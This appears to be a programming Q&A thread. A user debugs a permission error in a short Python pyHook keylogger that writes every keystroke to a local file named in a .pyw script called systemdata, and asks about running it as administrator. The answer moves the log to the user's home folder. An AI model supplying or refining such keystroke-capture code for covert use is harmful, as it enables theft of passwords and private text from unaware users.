Permission Denied for Python Keylogger
<p>I've created a simple python keylogger by following this tutorial: <a href="https://www.youtube.com/watch?v=8BiOPBsXh0g" rel="nofollow">https://www.youtube.com/watch?v=8BiOPBsXh0g</a></p>

<pre><code>import pyHook, pythoncom, sys, logging

file_log = 'C:\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
</code></pre>

<p>When I run the program, and type something, i get this error in the console:</p>

<pre><code>Traceback (most recent call last):
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__
StreamHandler.__init__(self, self._open())
File "C:\Python27\lib\logging\__init__.py", line 936, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\log.txt'
</code></pre>

<p>It must be to do with the last line, Permission Denied. Any idea what i need to do to fix this? Any way to run it with administrator privilages?</p>

<p>Thanks in advance</p>

<p><strong>Reposting as an answer for future use</strong></p>

<p>The easiest and, arguably, safest way would be to not write the log to the root of C. Change the "file_log = 'C:\log.txt'" to something like "file_log = 'C:\Users\Adithya1\log.txt" instead.</p>

<p>There are <a href="http://stackoverflow.com/questions/4028904/how-to-get-the-home-directory-in-python">other links</a> for finding the home directory of the user to make this more portable.</p>

python